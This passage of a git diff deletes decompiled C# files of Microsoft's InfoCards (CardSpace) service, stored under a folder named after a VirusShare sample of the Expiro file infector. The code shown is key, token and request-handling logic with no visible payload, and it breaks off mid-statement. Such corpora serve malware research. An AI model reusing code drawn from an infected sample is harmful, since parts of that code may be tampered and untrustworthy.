if (string.IsNullOrEmpty(claim.Name)) - { - string str = (string) null; - string id = claim.Id; - if (!string.IsNullOrEmpty(claim.Id)) - { - if (claims.ContainsKey(id)) - str = claims[id].DisplayTag; - if (string.IsNullOrEmpty(str)) - str = id; - } - else - str = SR.GetString("ServiceDisplayTokenNoClaimName"); - claim.Name = str; - } - } - } - - private bool IsEncryptedXml(XmlElement content) => "EncryptedData" == content.LocalName && "http://www.w3.org/2001/04/xmlenc#" == content.NamespaceURI; - - [ServiceContract(Name = "RequestBrowserToken", Namespace = "http://schemas.xmlsoap.org/ws/2005/05/identity")] - internal interface ISts - { - [OperationContract(Action = "http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue", Name = "ProcessRequestSecurityTokenFeb2005", ProtectionLevel = ProtectionLevel.EncryptAndSign, ReplyAction = "http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue")] - Message ProcessRequestSecurityTokenFeb2005(Message rstMessage); - - [OperationContract(Action = "http://docs.oasis-open.org/ws-sx/ws-trust/200512/RST/Issue", Name = "ProcessRequestSecurityTokenWSTrust13", ProtectionLevel = ProtectionLevel.EncryptAndSign, ReplyAction = "http://docs.oasis-open.org/ws-sx/ws-trust/200512/RSTRC/IssueFinal")] - Message ProcessRequestSecurityTokenWSTrust13(Message rstMessage); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RemoteX509AsymmetricSecurityKey.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RemoteX509AsymmetricSecurityKey.cs deleted file mode 100644 index 452f25e4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RemoteX509AsymmetricSecurityKey.cs +++ /dev/null @@ -1,80 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RemoteX509AsymmetricSecurityKey -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IdentityModel.Tokens; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; - -namespace Microsoft.InfoCards -{ - internal class RemoteX509AsymmetricSecurityKey : X509AsymmetricSecurityKey, IDisposable - { - private X509Certificate2 m_cert; - private object m_sync; - private bool m_disposed; - - public RemoteX509AsymmetricSecurityKey(X509Certificate2 cert) - : base(cert) - { - this.m_cert = cert; - if (!(this.m_cert.PrivateKey is RemoteCryptoRsaServiceProvider)) - throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - this.m_sync = new object(); - } - - public override AsymmetricAlgorithm GetAsymmetricAlgorithm( - string algorithmUri, - bool privateKey) - { - return this.IsSupportedAlgorithm(algorithmUri) ? base.GetAsymmetricAlgorithm(algorithmUri, privateKey) : throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - } - - public override AsymmetricSignatureDeformatter GetSignatureDeformatter( - string algorithmUri) - { - return this.IsSupportedAlgorithm(algorithmUri) ? base.GetSignatureDeformatter(algorithmUri) : throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - } - - public override AsymmetricSignatureFormatter GetSignatureFormatter( - string algorithmUri) - { - if (!this.IsSupportedAlgorithm(algorithmUri)) - throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - RemoteAsymmetricSignatureFormatter signatureFormatter = new RemoteAsymmetricSignatureFormatter(); - signatureFormatter.SetKey(this.m_cert.PrivateKey); - return (AsymmetricSignatureFormatter) signatureFormatter; - } - - public override bool IsSupportedAlgorithm(string algorithmUri) - { - switch (algorithmUri) - { - case "http://www.w3.org/2000/09/xmldsig#rsa-sha1": - case "http://www.w3.org/2001/04/xmlenc#rsa-1_5": - case "http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p": - return base.IsSupportedAlgorithm(algorithmUri); - default: - return false; - } - } - - void IDisposable.Dispose() - { - if (this.m_disposed) - return; - lock (this.m_sync) - { - if (this.m_disposed) - return; - this.m_disposed = true; - this.m_cert.PrivateKey?.Dispose(); - this.m_cert.PublicKey.Key?.Dispose(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RemoteX509Token.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RemoteX509Token.cs deleted file mode 100644 index 546a30f1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RemoteX509Token.cs +++ /dev/null @@ -1,55 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RemoteX509Token -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.IdentityModel.Tokens; -using System.Security.Cryptography.X509Certificates; - -namespace Microsoft.InfoCards -{ - internal class RemoteX509Token : X509SecurityToken - { - private List m_keys; - private object m_sync; - private bool m_disposed; - - public RemoteX509Token(X509Certificate2 cert) - : base(cert) - { - this.m_keys = new List(1); - this.m_keys.Add((SecurityKey) new RemoteX509AsymmetricSecurityKey(cert)); - this.m_sync = new object(); - } - - public override ReadOnlyCollection SecurityKeys => this.m_keys.AsReadOnly(); - - public override void Dispose() - { - try - { - if (this.m_disposed) - return; - lock (this.m_sync) - { - if (this.m_disposed) - return; - this.m_disposed = true; - foreach (SecurityKey key in this.m_keys) - { - if (key is IDisposable disposable) - disposable.Dispose(); - } - } - } - finally - { - base.Dispose(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/Request.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/Request.cs deleted file mode 100644 index bbcfddcd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/Request.cs +++ /dev/null @@ -1,292 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.Request -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.ComponentModel; -using System.IO; -using System.Net; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal abstract class Request : IDisposable - { - private static Request.RequestHandleDictionary s_existingClientRequests = new Request.RequestHandleDictionary(); - private static ExceptionTranslationTable s_exceptionToHResultTable = ExceptionTranslationTable.Instance; - private Stream m_inArgs; - private Stream m_outArgs; - private int m_requestHandle; - private static object s_syncRoot = new object(); - private IWebProxy m_proxy; - private object m_syncRoot; - private IntPtr m_rpcHandle; - private Exception m_processingException; - private ExceptionList m_recoverableExceptions; - private WindowsImpersonationContext m_impersonationContext; - private int m_initHResult; - private string m_extendedErrorMessage; - private int m_lcid = -1; - - protected Request( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ExceptionList recoverableExceptions) - { - this.m_inArgs = inArgs; - this.m_outArgs = outArgs; - this.m_rpcHandle = rpcHandle; - this.m_recoverableExceptions = recoverableExceptions; - this.m_syncRoot = new object(); - this.m_initHResult = 0; - this.InsertThisRequestIntoDictionary(); - } - - public Exception ProcessingException - { - get => this.m_processingException; - set => this.m_processingException = value; - } - - public IWebProxy UserProxy - { - get - { - if (this.m_proxy == null) - this.m_proxy = WebRequest.GetSystemWebProxy(); - return this.m_proxy; - } - } - - public int UserLanguage - { - get - { - InfoCardTrace.Assert(this.m_lcid >= 0, " The user language has not been set in the service"); - return this.m_lcid; - } - set => this.m_lcid = value; - } - - protected Stream InArgs => this.m_inArgs; - - public Stream OutArgs => this.m_outArgs; - - protected object SyncRoot => this.m_syncRoot; - - protected IntPtr RpcHandle => this.m_rpcHandle; - - public int RequestHandle => this.m_requestHandle; - - public abstract WindowsIdentity RequestorIdentity { get; } - - internal void Initialize() - { - try - { - this.OnInitializeAsSystem(); - this.ImpersonateRequestor(); - this.OnInitializeAsUser(); - } - catch (Exception ex) - { - this.m_initHResult = this.HandleException(ex, true); - } - } - - private void ImpersonateRequestor() - { - InfoCardTrace.Assert(null != this.RequestorIdentity, "RequestorIdentity can not be null, the derived class should have populated this on initialize"); - this.m_impersonationContext = !this.RequestorIdentity.IsSystem ? this.RequestorIdentity.Impersonate() : throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("UserIdentityEqualSystemNotSupported"))); - } - - private int GetHResultFromException(Exception e) - { - int hresultFromException = 0; - Type type = e.GetType(); - if (Request.s_exceptionToHResultTable.ContainsKey(type)) - hresultFromException = Request.s_exceptionToHResultTable[type]; - else if (e is Win32Exception) - hresultFromException = ((Win32Exception) e).NativeErrorCode; - else - InfoCardService.Crash(e); - return hresultFromException; - } - - protected int HandleException(Exception e) => this.HandleException(e, false); - - protected int HandleException(Exception e, bool isInitializing) - { - int errorCode = 0; - if (InfoCardTrace.IsFatal(e)) - { - InfoCardTrace.TraceAndLogException(e); - InfoCardService.Crash(e); - } - Exception exception = !(e is InfoCardRequestException) ? e : e.InnerException; - if (isInitializing || !this.OnHandleException(exception, out errorCode)) - { - if (exception is InfoCardBaseException) - { - errorCode = ((InfoCardBaseException) exception).NativeHResult; - this.m_extendedErrorMessage = ((InfoCardBaseException) exception).ExtendedMessage; - } - else if (this.m_recoverableExceptions == ExceptionList.AllNonFatal) - { - CommunicationException e1 = new CommunicationException(SR.GetString("ClientAPIInfocardError"), exception); - InfoCardTrace.TraceAndLogException((Exception) e1); - errorCode = e1.NativeHResult; - } - else if (this.m_recoverableExceptions.Contains(exception.GetType())) - { - errorCode = this.GetHResultFromException(exception); - } - else - { - InfoCardTrace.TraceAndLogException(e); - InfoCardService.Crash(e); - } - } - return errorCode; - } - - protected virtual void PreProcessRequest() - { - this.ProcessingException = (Exception) null; - this.OnMarshalInArgs(); - if (this.ProcessingException != null) - { - Exception processingException = this.ProcessingException; - this.ProcessingException = (Exception) null; - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardRequestException(processingException.Message, processingException)); - } - if (this.InArgs.Position != this.InArgs.Length) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceInvalidDataInRequest"))); - this.InArgs.Close(); - } - - protected virtual void PostProcessRequest() - { - this.ProcessingException = (Exception) null; - this.OutArgs.Flush(); - this.OnMarshalOutArgs(); - if (this.ProcessingException != null) - { - Exception processingException = this.ProcessingException; - this.ProcessingException = (Exception) null; - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardRequestException(processingException.Message, processingException)); - } - } - - protected virtual void ProcessRequest() - { - this.ProcessingException = (Exception) null; - this.OnProcess(); - if (this.ProcessingException != null) - { - Exception processingException = this.ProcessingException; - this.ProcessingException = (Exception) null; - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardRequestException(processingException.Message, processingException)); - } - } - - public int DoProcessRequest(out string extendedMessage) - { - int num = this.m_initHResult; - if (num == 0) - { - try - { - this.PreProcessRequest(); - this.ProcessRequest(); - this.PostProcessRequest(); - } - catch (Exception ex) - { - num = this.HandleException(ex); - } - } - extendedMessage = this.m_extendedErrorMessage; - return num; - } - - public static Request FindRequestByHandle(int requestHandle) - { - lock (Request.s_syncRoot) - return Request.s_existingClientRequests[requestHandle]; - } - - public void Dispose() - { - this.OnDisposeAsUser(); - if (this.m_impersonationContext != null) - { - this.m_impersonationContext.Undo(); - this.m_impersonationContext = (WindowsImpersonationContext) null; - } - this.OnDisposeAsSystem(); - this.RemoveThisRequestFromDictionary(); - GC.SuppressFinalize((object) this); - } - - protected virtual void OnInitializeAsSystem() - { - } - - protected virtual void OnInitializeAsUser() - { - } - - protected virtual void OnDisposeAsUser() - { - } - - protected abstract void OnMarshalInArgs(); - - protected abstract void OnProcess(); - - protected abstract void OnMarshalOutArgs(); - - protected virtual void OnDisposeAsSystem() - { - } - - protected virtual bool OnHandleException(Exception e, out int errorCode) - { - errorCode = 0; - return false; - } - - private void InsertThisRequestIntoDictionary() - { - lock (Request.s_syncRoot) - { - int newHandle; - try - { - newHandle = Request.s_existingClientRequests.GetNewHandle(); - } - catch (IndexOutOfRangeException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ServiceBusyException(SR.GetString("TooManyClientRequests"), (Exception) ex)); - } - this.m_requestHandle = newHandle; - Request.s_existingClientRequests[this.m_requestHandle] = this; - } - } - - private void RemoveThisRequestFromDictionary() - { - lock (Request.s_syncRoot) - Request.s_existingClientRequests.Remove(this.m_requestHandle); - } - - private class RequestHandleDictionary : HandleDictionary - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RequestFactory.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RequestFactory.cs deleted file mode 100644 index c47745b1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RequestFactory.cs +++ /dev/null @@ -1,483 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RequestFactory -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics; -using System.IO; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Security.Principal; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class RequestFactory - { - private const int MaxRequestBlobSize = 20971520; - private static readonly RequestFactory.RequestName[] s_uiClientRequests = new RequestFactory.RequestName[4] - { - RequestFactory.RequestName.GetBrowserTokenRequest, - RequestFactory.RequestName.GetTokenRequest, - RequestFactory.RequestName.ImportRequest, - RequestFactory.RequestName.ManageRequest - }; - private static object s_createRequestSync = new object(); - private static Dictionary s_requestMap = new Dictionary(54); - - private RequestFactory() - { - } - - static RequestFactory() - { - RequestFactory.s_requestMap["CloseCryptoHandleRequest"] = RequestFactory.RequestName.CloseCryptoHandleRequest; - RequestFactory.s_requestMap["DecryptRequest"] = RequestFactory.RequestName.DecryptRequest; - RequestFactory.s_requestMap["EncryptRequest"] = RequestFactory.RequestName.EncryptRequest; - RequestFactory.s_requestMap["GenerateDerivedKeyRequest"] = RequestFactory.RequestName.GenerateDerivedKeyRequest; - RequestFactory.s_requestMap["GetBrowserTokenRequest"] = RequestFactory.RequestName.GetBrowserTokenRequest; - RequestFactory.s_requestMap["GetCryptoTransformRequest"] = RequestFactory.RequestName.GetCryptoTransformRequest; - RequestFactory.s_requestMap["GetKeyedHashRequest"] = RequestFactory.RequestName.GetKeyedHashRequest; - RequestFactory.s_requestMap["GetTokenRequest"] = RequestFactory.RequestName.GetTokenRequest; - RequestFactory.s_requestMap["HashCoreRequest"] = RequestFactory.RequestName.HashCoreRequest; - RequestFactory.s_requestMap["HashFinalRequest"] = RequestFactory.RequestName.HashFinalRequest; - RequestFactory.s_requestMap["ImportRequest"] = RequestFactory.RequestName.ImportRequest; - RequestFactory.s_requestMap["ManageRequest"] = RequestFactory.RequestName.ManageRequest; - RequestFactory.s_requestMap["SignHashRequest"] = RequestFactory.RequestName.SignHashRequest; - RequestFactory.s_requestMap["TransformBlockRequest"] = RequestFactory.RequestName.TransformBlockRequest; - RequestFactory.s_requestMap["TransformFinalBlockRequest"] = RequestFactory.RequestName.TransformFinalBlockRequest; - RequestFactory.s_requestMap["VerifyHashRequest"] = RequestFactory.RequestName.VerifyHashRequest; - RequestFactory.s_requestMap["BeginCreateSecurityTokenRequest"] = RequestFactory.RequestName.BeginCreateSecurityTokenRequest; - RequestFactory.s_requestMap["BeginSelectCardRequest"] = RequestFactory.RequestName.BeginSelectCardRequest; - RequestFactory.s_requestMap["CancelAsyncOperationRequest"] = RequestFactory.RequestName.CancelAsyncOperationRequest; - RequestFactory.s_requestMap["CheckStoreFileValidityRequest"] = RequestFactory.RequestName.CheckStoreFileValidityRequest; - RequestFactory.s_requestMap["CreateCardRequest"] = RequestFactory.RequestName.CreateCardRequest; - RequestFactory.s_requestMap["DeleteCardRequest"] = RequestFactory.RequestName.DeleteCardRequest; - RequestFactory.s_requestMap["DeleteStoreRequest"] = RequestFactory.RequestName.DeleteStoreRequest; - RequestFactory.s_requestMap["EndCreateSecurityTokenRequest"] = RequestFactory.RequestName.EndCreateSecurityTokenRequest; - RequestFactory.s_requestMap["EndSelectCardRequest"] = RequestFactory.RequestName.EndSelectCardRequest; - RequestFactory.s_requestMap["ExportFileRequest"] = RequestFactory.RequestName.ExportFileRequest; - RequestFactory.s_requestMap["GetCertificateRequest"] = RequestFactory.RequestName.GetCertificateRequest; - RequestFactory.s_requestMap["GetImportedCardRequest"] = RequestFactory.RequestName.GetImportedCardRequest; - RequestFactory.s_requestMap["GetImportFileNameRequest"] = RequestFactory.RequestName.GetImportFileNameRequest; - RequestFactory.s_requestMap["GetLedgerEntryForRecipientRequest"] = RequestFactory.RequestName.GetLedgerEntryForRecipientRequest; - RequestFactory.s_requestMap["GetLedgerRequest"] = RequestFactory.RequestName.GetLedgerRequest; - RequestFactory.s_requestMap["GetPolicyDetailsRequest"] = RequestFactory.RequestName.GetPolicyDetailsRequest; - RequestFactory.s_requestMap["GetRecipientListRequest"] = RequestFactory.RequestName.GetRecipientListRequest; - RequestFactory.s_requestMap["GetRecipientRequest"] = RequestFactory.RequestName.GetRecipientRequest; - RequestFactory.s_requestMap["GetUserPreferenceRequest"] = RequestFactory.RequestName.GetUserPreferenceRequest; - RequestFactory.s_requestMap["ImportFileRequest"] = RequestFactory.RequestName.ImportFileRequest; - RequestFactory.s_requestMap["InfoCardListRequest"] = RequestFactory.RequestName.InfoCardListRequest; - RequestFactory.s_requestMap["ListCardsInFileRequest"] = RequestFactory.RequestName.ListCardsInFileRequest; - RequestFactory.s_requestMap["QueryStoreStatusRequest"] = RequestFactory.RequestName.QueryStoreStatusRequest; - RequestFactory.s_requestMap["ResolvePPIDRequest"] = RequestFactory.RequestName.ResolvePPIDRequest; - RequestFactory.s_requestMap["SaveCardRequest"] = RequestFactory.RequestName.SaveCardRequest; - RequestFactory.s_requestMap["SaveLedgerEntryRequest"] = RequestFactory.RequestName.SaveLedgerEntryRequest; - RequestFactory.s_requestMap["SaveRecipientRequest"] = RequestFactory.RequestName.SaveRecipientRequest; - RequestFactory.s_requestMap["SendAgentStatusRequest"] = RequestFactory.RequestName.SendAgentStatusRequest; - RequestFactory.s_requestMap["SetUserPreferenceRequest"] = RequestFactory.RequestName.SetUserPreferenceRequest; - RequestFactory.s_requestMap["BeginGetFileNameFromUserRequest"] = RequestFactory.RequestName.BeginGetFileNameFromUserRequest; - RequestFactory.s_requestMap["EndGetFileNameFromUserRequest"] = RequestFactory.RequestName.EndGetFileNameFromUserRequest; - RequestFactory.s_requestMap["UIEndRequest"] = RequestFactory.RequestName.UIEndRequest; - RequestFactory.s_requestMap["ListDependantCardsRequest"] = RequestFactory.RequestName.ListDependantCardsRequest; - RequestFactory.s_requestMap["GetLastErrorDetailsRequest"] = RequestFactory.RequestName.GetLastErrorDetailsRequest; - RequestFactory.s_requestMap["GetIsBrowserClientRequest"] = RequestFactory.RequestName.GetIsBrowserClientRequest; - RequestFactory.s_requestMap["SetUserLanguageRequest"] = RequestFactory.RequestName.SetUserLanguageRequest; - RequestFactory.s_requestMap["GetCardDetailsRequest"] = RequestFactory.RequestName.GetCardDetailsRequest; - RequestFactory.s_requestMap["UnlockCardRequest"] = RequestFactory.RequestName.UnlockCardRequest; - } - - internal static int ProcessNewRequest( - int parentRequestHandle, - IntPtr rpcHandle, - IntPtr inArgs, - out IntPtr outArgs) - { - InfoCardTrace.Assert(null == WindowsIdentity.GetCurrent(true), "unexpected user context on incoming thread"); - int num = 0; - outArgs = IntPtr.Zero; - if (IntPtr.Zero == inArgs) - return -1073413888; - if (IntPtr.Zero == rpcHandle) - return -1073413888; - try - { - RpcRequest structure = (RpcRequest) Marshal.PtrToStructure(inArgs, typeof (RpcRequest)); - if (structure.Length < 0 || structure.Length > 20971520 || structure.Type == null || structure.Length > 0 && IntPtr.Zero == structure.Data) - return -1073413888; - Stream inStream; - if (structure.Length != 0) - { - byte[] numArray = new byte[structure.Length]; - Marshal.Copy(structure.Data, numArray, 0, structure.Length); - inStream = (Stream) new MemoryStream(numArray, 0, numArray.Length, false, false); - } - else - inStream = (Stream) new MemoryStream(); - MemoryStream memoryStream = new MemoryStream(); - if (parentRequestHandle == 0) - { - using (UIAgentMonitorHandle monitorHandle = new UIAgentMonitorHandle()) - { - using (ClientRequest clientRequestInstance = RequestFactory.CreateClientRequestInstance(monitorHandle, structure.Type, rpcHandle, inStream, (Stream) memoryStream)) - { - num = clientRequestInstance.DoProcessRequest(out string _); - RpcResponse outArgs1; - RequestFactory.ConvertStreamToIntPtr(memoryStream, out outArgs1); - outArgs = outArgs1.Marshal(); - } - } - } - else - { - ClientUIRequest requestByHandle = (ClientUIRequest) Request.FindRequestByHandle(parentRequestHandle); - InfoCardTrace.Assert(null != requestByHandle, "ParentRequest is null"); - using (UIAgentRequest agentRequestInstance = RequestFactory.CreateUIAgentRequestInstance(requestByHandle, structure.Type, rpcHandle, inStream, (Stream) memoryStream)) - { - string extendedMessage; - num = agentRequestInstance.DoProcessRequest(out extendedMessage); - if (num != 0) - Utility.SerializeString(new BinaryWriter((Stream) memoryStream, Encoding.Unicode), extendedMessage); - RpcResponse outArgs2; - RequestFactory.ConvertStreamToIntPtr(memoryStream, out outArgs2); - outArgs = outArgs2.Marshal(); - } - } - } - catch (TargetInvocationException ex) - { - if (ex.InnerException != null && ex.InnerException is InfoCardBaseException) - num = ((InfoCardBaseException) ex.InnerException).NativeHResult; - else - InfoCardService.Crash((Exception) ex); - } - catch (InfoCardBaseException ex) - { - num = ex.NativeHResult; - } - catch (OutOfMemoryException ex) - { - num = -2147024882; - } - catch (EndOfStreamException ex) - { - num = -1073413863; - } - catch (Exception ex) - { - InfoCardTrace.TraceAndLogException(ex); - InfoCardService.Crash(ex); - } - return num; - } - - private static void ConvertStreamToIntPtr(MemoryStream outStream, out RpcResponse outArgs) - { - byte[] buffer = outStream.GetBuffer(); - outArgs = new RpcResponse(); - outArgs.Length = 0; - outArgs.Data = IntPtr.Zero; - if (buffer == null || buffer.Length == 0) - return; - IntPtr destination = Marshal.AllocHGlobal(buffer.Length); - Marshal.Copy(buffer, 0, destination, buffer.Length); - outArgs.Data = destination; - outArgs.Length = buffer.Length; - } - - private static ClientRequest CreateClientRequestInstance( - UIAgentMonitorHandle monitorHandle, - string reqName, - IntPtr rpcHandle, - Stream inStream, - Stream outStream) - { - ClientRequest clientRequestInstance = (ClientRequest) null; - lock (RequestFactory.s_createRequestSync) - { - if (string.IsNullOrEmpty(reqName)) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException()); - RequestFactory.RequestName requestName = RequestFactory.s_requestMap.ContainsKey(reqName) ? RequestFactory.s_requestMap[reqName] : throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException()); - if (-1 != Array.IndexOf(RequestFactory.s_uiClientRequests, requestName)) - { - Process contextMapping = ClientUIRequest.GetContextMapping(rpcHandle, true); - InfoCardTrace.ThrowInvalidArgumentConditional(null == contextMapping, nameof (rpcHandle)); - int tSSession = 0; - if (!NativeMethods.ProcessIdToSessionId(contextMapping.Id, out tSSession)) - { - int lastWin32Error = Marshal.GetLastWin32Error(); - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceErrorGettingClientTSSession"), (Exception) new Win32Exception(lastWin32Error))); - } - WindowsIdentity executionIdentity = NativeMcppMethods.CreateServiceExecutionIdentity(contextMapping); - InfoCardUIAgent agent = monitorHandle.CreateAgent(contextMapping.Id, executionIdentity, tSSession); - switch (RequestFactory.s_requestMap[reqName]) - { - case RequestFactory.RequestName.GetBrowserTokenRequest: - clientRequestInstance = (ClientRequest) new GetBrowserTokenRequest(contextMapping, executionIdentity, agent, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.GetTokenRequest: - clientRequestInstance = (ClientRequest) new GetTokenRequest(contextMapping, executionIdentity, agent, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.ImportRequest: - clientRequestInstance = (ClientRequest) new ImportRequest(contextMapping, executionIdentity, agent, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.ManageRequest: - clientRequestInstance = (ClientRequest) new ManageRequest(contextMapping, executionIdentity, agent, rpcHandle, inStream, outStream); - break; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException()); - } - } - else - { - Process processFromRpcHandle = ClientRequest.GetCallingProcessFromRpcHandle(rpcHandle); - WindowsIdentity executionIdentity = NativeMcppMethods.CreateServiceExecutionIdentity(processFromRpcHandle); - switch (RequestFactory.s_requestMap[reqName]) - { - case RequestFactory.RequestName.CloseCryptoHandleRequest: - clientRequestInstance = (ClientRequest) new CloseCryptoHandleRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.DecryptRequest: - clientRequestInstance = (ClientRequest) new DecryptRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.EncryptRequest: - clientRequestInstance = (ClientRequest) new EncryptRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.GenerateDerivedKeyRequest: - clientRequestInstance = (ClientRequest) new GenerateDerivedKeyRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.GetCryptoTransformRequest: - clientRequestInstance = (ClientRequest) new GetCryptoTransformRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.GetKeyedHashRequest: - clientRequestInstance = (ClientRequest) new GetKeyedHashRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.HashCoreRequest: - clientRequestInstance = (ClientRequest) new HashCoreRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.HashFinalRequest: - clientRequestInstance = (ClientRequest) new HashFinalRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.SignHashRequest: - clientRequestInstance = (ClientRequest) new SignHashRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.TransformBlockRequest: - clientRequestInstance = (ClientRequest) new TransformBlockRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.TransformFinalBlockRequest: - clientRequestInstance = (ClientRequest) new TransformFinalBlockRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.VerifyHashRequest: - clientRequestInstance = (ClientRequest) new VerifyHashRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException()); - } - } - clientRequestInstance.Initialize(); - } - return clientRequestInstance; - } - - private static UIAgentRequest CreateUIAgentRequestInstance( - ClientUIRequest parentRequest, - string reqName, - IntPtr rpcHandle, - Stream inStream, - Stream outStream) - { - UIAgentRequest agentRequestInstance = (UIAgentRequest) null; - lock (RequestFactory.s_createRequestSync) - { - InfoCardTrace.Assert(!string.IsNullOrEmpty(reqName), "Null or empty request name"); - InfoCardTrace.Assert(RequestFactory.s_requestMap.ContainsKey(reqName), "Request map does not contain " + reqName); - switch (RequestFactory.s_requestMap[reqName]) - { - case RequestFactory.RequestName.BeginCreateSecurityTokenRequest: - agentRequestInstance = (UIAgentRequest) new BeginCreateSecurityTokenRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case 